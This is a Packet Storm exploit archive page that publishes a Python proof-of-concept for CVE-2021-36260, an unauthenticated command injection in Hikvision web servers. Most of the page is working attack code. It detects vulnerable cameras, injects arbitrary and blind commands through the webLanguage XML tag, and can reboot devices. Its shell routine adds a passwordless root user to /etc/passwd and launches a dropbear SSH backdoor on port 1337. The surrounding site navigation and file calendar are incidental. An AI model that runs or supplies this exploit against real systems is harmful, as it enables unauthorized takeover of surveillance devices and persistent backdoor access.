exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Hikvision Web Server Build 210702 Command Injection

Hikvision Web Server Build 210702 Command Injection
Posted Oct 25, 2021
Authored by bashis

Hikvision Web Server Build 210702 suffers from a command injection vulnerability.

tags | exploit, web
advisories | CVE-2021-36260
SHA-256 | 6f3b4e5a9c425280adc8f7457f3b39a4875de53beec44c5e9cbfa151788ff314

Hikvision Web Server Build 210702 Command Injection

Change Mirror Download
# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

1) This code will _not_ verify if remote is Hikvision device or not.
2) Most of my interest in this code has been concentrated on how to
reliably detect vulnerable and/or exploitable devices.
Some devices are easy to detect, verify and exploit the vulnerability,
other devices may be vulnerable but not so easy to verify and exploit.
I think the combined verification code should have very high accuracy.
3) 'safe check' (--check) will try write and read for verification
'unsafe check' (--reboot) will try reboot the device for verification

Safe vulnerability/verify check:
$./CVE-2021-36260.py --rhost --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
$./CVE-2021-36260.py --rhost --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
$./CVE-2021-36260.py --rhost --rport 8080 --reboot

Launch and connect to SSH shell:
$./CVE-2021-36260.py --rhost --rport 8080 --shell

Execute command:
$./CVE-2021-36260.py --rhost --rport 8080 --cmd "ls -l"

Execute blind command:
$./CVE-2021-36260.py --rhost --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
[--reboot] [--shell] [--cmd CMD]
[--cmd_blind CMD_BLIND] [--noverify]
[--proto {http,https}]

optional arguments:
-h, --help show this help message and exit
--rhost RHOST Remote Target Address (IP/FQDN)
--rport RPORT Remote Target Port
--check Check if vulnerable
--reboot Reboot if vulnerable
--shell Launch SSH shell
--cmd CMD execute cmd (i.e: "ls -l")
--cmd_blind CMD_BLIND
execute blind cmd (i.e: "reboot")
--noverify Do not verify if vulnerable
--proto {http,https} Protocol used

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions

class Http(object):
def __init__(self, rhost, rport, proto, timeout=60):
super(Http, self).__init__()

self.rhost = rhost
self.rport = rport
self.proto = proto
self.timeout = timeout

self.remote = None
self.uri = None

""" Most devices will use self-signed certificates, suppress any warnings """

self.remote = requests.Session()


'Host': f'{self.rhost}:{self.rport}',
'Accept': '*/*',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
# 'http': '',

def send(self, url=None, query_args=None, timeout=5):

if query_args:
"""Some devices can handle more, others less, 22 bytes seems like a good compromise"""
if len(query_args) > 22:
print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
return None

"""This weird code will try automatically switch between http/https
and update Host
if url and not query_args:
return self.get(url, timeout)
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
self.proto = 'https' if self.proto == 'http' else 'https'
if url and not query_args:
return self.get(url, timeout)
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
return None
except requests.exceptions.RequestException:
return None
except KeyboardInterrupt:
return None

"""302 when requesting http on https enabled device"""

if data.status_code == 302:
redirect = data.headers.get('Location')
self.uri = redirect[:redirect.rfind('/')]
if url and not query_args:
return self.get(url, timeout)
data = self.put('/SDK/webLanguage', query_args, timeout)

return data

def _update_host(self):
if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
'Host': self.uri[self.uri.rfind('://') + 3:],

def _init_uri(self):
self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

def put(self, url, query_args, timeout):
"""Command injection in the <language> tag"""
query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)

def get(self, url, timeout):
return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)

def check(remote, args):
status_code == 200 (OK);
Verified vulnerable and exploitable
status_code == 500 (Internal Server Error);
Device may be vulnerable, but most likely not
The SDK webLanguage tag is there, but generate status_code 500 when language not found
I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
(Issue: Could also be other directory than 'webLib', r/o FS etc...)
status_code == 401 (Unauthorized);
Defiantly not vulnerable
if args.noverify:
print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
return True

print(f'[*] Checking remote "{args.rhost}:{args.rport}"')

data = remote.send(url='/', query_args=None)
if data is None:
print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
return None
print('[i] ETag:', data.headers.get('ETag'))

data = remote.send(query_args='>webLib/c')
if data is None or data.status_code == 404:
print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
return False
status_code = data.status_code

data = remote.send(url='/c', query_args=None)
if not data.status_code == 200:
"""We could not verify command injection"""
if status_code == 500:
print(f'[-] Could not verify if vulnerable (Code: {status_code})')
if args.reboot:
return check_reboot(remote, args)
print(f'[+] Remote is not vulnerable (Code: {status_code})')
return False

print('[!] Remote is verified exploitable')
return True

def check_reboot(remote, args):
We sending 'reboot', wait 2 sec, then checking with GET request.
- if there is data returned, we can assume remote is not vulnerable.
- If there is no connection or data returned, we can assume remote is vulnerable.
if args.check:
print('[i] Checking if vulnerable with "reboot"')
print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
if not remote.send(url='/', query_args=None):
print('[!] Remote is vulnerable')
return True
print('[+] Remote is not vulnerable')
return False

def cmd(remote, args):
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd}>webLib/x')
if data is None:
return False

data = remote.send(url='/x', query_args=None)
if data is None or not data.status_code == 200:
print(f'[!] Error execute cmd "{args.cmd}"')
return False
return True

def cmd_blind(remote, args):
Blind command injection
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd_blind}')
if data is None or not data.status_code == 500:
print(f'[-] Error execute cmd "{args.cmd_blind}"')
return False
print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
return True

def shell(remote, args):
if not check(remote, args):
return False
data = remote.send(url='/N', query_args=None)

if data.status_code == 404:
print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
data = remote.send(query_args='echo -n P::0:0:W>N')
if data.status_code == 401:
return False
remote.send(query_args='echo :/:/bin/sh>>N')
remote.send(query_args='cat N>>/etc/passwd')
remote.send(query_args='dropbear -R -B -p 1337')
remote.send(query_args='cat N>webLib/N')
print(f'[i] Remote "{args.rhost}" already pwned')

print(f'[*] Trying SSH to {args.rhost} on port 1337')
os.system(f'stty echo; stty iexten; stty icanon; \
ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
P@{args.rhost} -p 1337')

def main():
print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')

parser = argparse.ArgumentParser()
parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
'--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
'--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
args = parser.parse_args()

remote = Http(args.rhost, args.rport, args.proto)

if args.shell:
shell(remote, args)
elif args.cmd:
cmd(remote, args)
elif args.cmd_blind:
cmd_blind(remote, args)
elif args.check:
check(remote, args)
elif args.reboot:
check_reboot(remote, args)
except KeyboardInterrupt:
return False

if __name__ == '__main__':

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By